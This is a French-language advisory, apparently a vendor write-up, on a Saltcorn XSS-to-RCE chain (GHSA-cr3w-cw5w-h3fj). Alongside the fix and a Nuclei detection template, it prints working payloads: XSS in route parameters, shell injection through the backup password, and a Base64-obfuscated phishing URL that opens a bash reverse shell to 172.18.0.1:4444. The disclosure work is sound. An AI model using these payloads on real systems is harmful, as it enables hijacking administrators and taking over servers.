GHSA-cr3w-cw5w-h3fj : RCE en 1 clic dans Saltcorn
Analyse de GHSA-cr3w-cw5w-h3fj, une vulnérabilité critique XSS-vers-RCE de score CVSS 9.7 dans Saltcorn (≤ 1.5.0-beta.19). Deux failles enchaînées, un XSS réfléchi dans les paramètres de route et une injection de commandes dans la génération des sauvegardes, permettent l'exécution de code à distance via le phishing d'un administrateur.
GHSA-cr3w-cw5w-h3fj
RCE en 1 clic dans Saltcorn 24 février 2026 · CVSS 9.7 Critique · Saltcorn ≤ 1.5.0-beta.19
| CVE | CVSS | Concerné | Corrigé |
|---|---|---|---|
| Non attribué | 9.7 Critique | ≥ 1.1.1, < 1.5.0-beta.19 | 1.5.0-beta.19+ |
1. Vue d'ensemble technique : chaîne d'exploitation XSS-vers-RCE dans Saltcorn
Saltcorn est un constructeur d'applications web open source, orienté base de données, avec une interface d'administration pour l'édition de pages et de code, les sauvegardes et la gestion du système.
GHSA-cr3w-cw5w-h3fj est critique non pas à cause d'un seul bug, mais parce qu'il enchaîne deux vulnérabilités :
- Un XSS réfléchi dans le rendu des paramètres
- Une injection de commandes dans la construction de la commande de sauvegarde
Prise isolément, chaque faille crée un risque de sécurité. Combinées, elles permettent à un attaquant d'exécuter des commandes du système d'exploitation lorsqu'un administrateur ouvre un lien spécialement conçu.
2. XSS réfléchi dans les paramètres de route
Dans les versions vulnérables jusqu'à 1.5.0-beta.19, le paramètre de route name passe directement dans send_admin_page() en tant que sub2_page et page_title sans échappement HTML.
Schéma de code vulnérable :
router.get(
"/edit-codepage/:name",
isAdmin,
error_catcher(async (req, res) => {
const { name } = req.params; // raw user input, no sanitization
// ...
send_admin_page({
res,
req,
page_title: req.__(`%s code page`, name), // unescaped
sub2_page: req.__(`%s code page`, name), // unescaped → breadcrumb
// ...
});
})
);
send_admin_page() appelle send_settings_page() dans packages/server/markup/admin.js, qui place sub2_page tel quel comme texte du dernier élément du fil d'Ariane :
// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
above: [
{
type: "breadcrumbs",
crumbs: [
{ text: req.__("Settings"), href: "/settings" },
{ text: req.__(active_sub), href: "..." },
...(sub2_page
? [{ text: sub2_page }] // ← name value inserted here, no escaping
: [])
],
},
// ...
],
});
res.sendWrap() restitue sub2_page sous forme de HTML brut à l'intérieur d'une balise \<a>. Tout code HTML présent dans name s'exécute dans le navigateur.
Comme name passe dans le texte de l'interface sans assainissement, une valeur contrôlée par l'attaquant devient du HTML/JavaScript exécutable.
Exemple de requête malveillante :
GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

Résultat rendu dans les versions vulnérables :
... <a> <img src=x onerror=alert(document.domain)> code page </a> ...
3. Injection de commandes dans la gestion du mot de passe de sauvegarde
La seconde vulnérabilité se trouve dans la génération des sauvegardes, où une commande shell est construite par interpolation de chaîne puis exécutée.
Schéma vulnérable (backup.ts) :
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });
backup_password est injecté directement dans une chaîne de commande shell. Une valeur malveillante peut sortir du contexte -P "..." et ajouter de la syntaxe shell.
Exemple de mot de passe malveillant :
";$(id);#
Commande exécutée résultante :
zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .
Cela conduit à une exécution de commande arbitraire dans le contexte du serveur lorsque la sauvegarde est déclenchée.

4. Exploitation de bout en bout : enchaînement du XSS et de l'injection de commandes
L'exploitation nécessite deux éléments : un payload armé intégré dans une page de phishing, et de l'ingénierie sociale pour le livrer à un administrateur authentifié.
Étape 1 : payload d'injection de commandes
fetch('/admin/backup')
.then(r => r.text())
.then(html => {
var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/set-backup-prefix', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
}).then(() =>
fetch('/admin/backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c
})
)
});
Le paramètre backup_password contient un échappement shell encodé en URL. Une fois décodé, il correspond à :
";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"
Contexte d'exécution côté serveur :
zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .
Étape 2 : payload XSS
L'URL malveillante de la page de phishing intègre un payload à plusieurs niveaux, en utilisant un encodage Base64 pour contourner des filtres simples :
http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
Payload XSS décodé :
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>
5. Preuve de concept : exploitation de bout en bout XSS-vers-RCE
Cette preuve de concept démontre une chaîne d'exploitation complète XSS-vers-RCE contre un déploiement vulnérable de saltcorn/saltcorn:1.4.1, aboutissant à l'exécution de commandes à distance via un payload malveillant côté administration.
version: '3'
services:
postgres:
image: postgres:15
environment:
POSTGRES_USER: saltcorn
POSTGRES_PASSWORD: saltcorn
POSTGRES_DB: saltcorn
volumes:
- postgres-data:/var/lib/postgresql/data
saltcorn:
image: saltcorn/saltcorn:1.4.1
ports:
- "3000:3000"
environment:
PGHOST: postgres
PGUSER: saltcorn
PGPASSWORD: saltcorn
PGDATABASE: saltcorn
PGPORT: 5432
SALTCORN_SESSION_SECRET: fixedsecret
volumes:
- saltcorn-data:/home/saltcorn/.config/saltcorn
depends_on:
- postgres
command: serve
volumes:
postgres-data:
saltcorn-data:
Déroulement de l'exécution :
- Terminal de l'attaquant : un listener est mis en place pour recevoir le reverse shell.

- Action de la victime : l'administrateur clique sur le lien malveillant.

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
- Reverse shell établi : l'ensemble de la chaîne s'exécute en moins de 2 secondes, donnant à l'attaquant un accès à distance.

Le processus est pratiquement invisible pour l'administrateur, qui ne perçoit qu'une brève navigation dans le navigateur.
| Impact |
|---|
| Une fois l'exécution de commandes obtenue, l'attaquant peut : • Lire les secrets et la configuration de l'application • Implanter des portes dérobées persistantes • Rebondir vers des services connectés • Compromettre l'intégrité et la disponibilité |
6. Le correctif : patch et mesures d'atténuation dans Saltcorn 1.5.0
La version 1.5.0 de Saltcorn corrige les deux vulnérabilités indépendamment. Appliquer l'un ou l'autre correctif suffit à rompre la chaîne d'exploitation.
Correctif 1 : échappement des entrées
Échapper les paramètres de route et de requête avant leur rendu en aval.
const escape_param = (obj) => {
const out = {};
for (const [k, v] of Object.entries(obj))
out[k] = typeof v === "string" ? text(v) : v;
return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);
Correctif 2 : exécution sécurisée des commandes
Remplacer exec(string) par spawn(binary, args) et passer le mot de passe comme un argument normal (sans interpolation shell) :
const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });
Cela supprime le vecteur d'injection de chaîne shell.
7. Détecter le XSS-vers-RCE de Saltcorn avec Ostorlab KEV
GHSA-cr3w-cw5w-h3fj (la chaîne XSS-vers-RCE de Saltcorn) est couverte dans la suite de détection Known Exploited Vulnerabilities (KEV) d'Ostorlab. Le groupe d'agents KEV effectue un scan automatisé à grande échelle sur les services exposés, en orchestrant des outils comme Nmap, Tsunami, Asteroid, Nuclei et Metasploit au sein d'un workflow unifié.
Le template Nuclei
Un template Nuclei dédié a été développé pour cet avis et ajouté au dépôt KEV.
Contrairement à une validation intrusive de l'exploit, ce template effectue une détection sûre basée sur la réflexion, sans authentification :
- Requête GET vers
/page/sc\<xss\>nuclei— injecte des chevrons dans un paramètre de route public. - Vérification de correspondance dans le corps — vérifie que le payload
sc\<xss\>nucleiest réfléchi sans être encodé. - Vérification de non-correspondance — s'assure que la forme encodée
sc<xss>nuclein'apparaît pas. - Fingerprinting de Saltcorn — confirme la présence via le marqueur
_sc_version_tag.
La détection exige que toutes les conditions du matcher réussissent : réflexion présente, encodage absent et Saltcorn identifié.
Le template confirme le vecteur XSS vulnérable qui permet la chaîne d'injection de commandes, sans déclencher de sauvegardes ni exécuter de commandes.
Le template complet est disponible dans le dépôt Ostorlab KEV à l'adresse : github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml
Références
| Ressource | Lien |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-cr3w-cw5w-h3fj |
| Dépôt Saltcorn | https://github.com/saltcorn/saltcorn |
| Commit du correctif | https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5 |
| Instantané vulnérable | https://github.com/saltcorn/saltcorn/commit/020893c |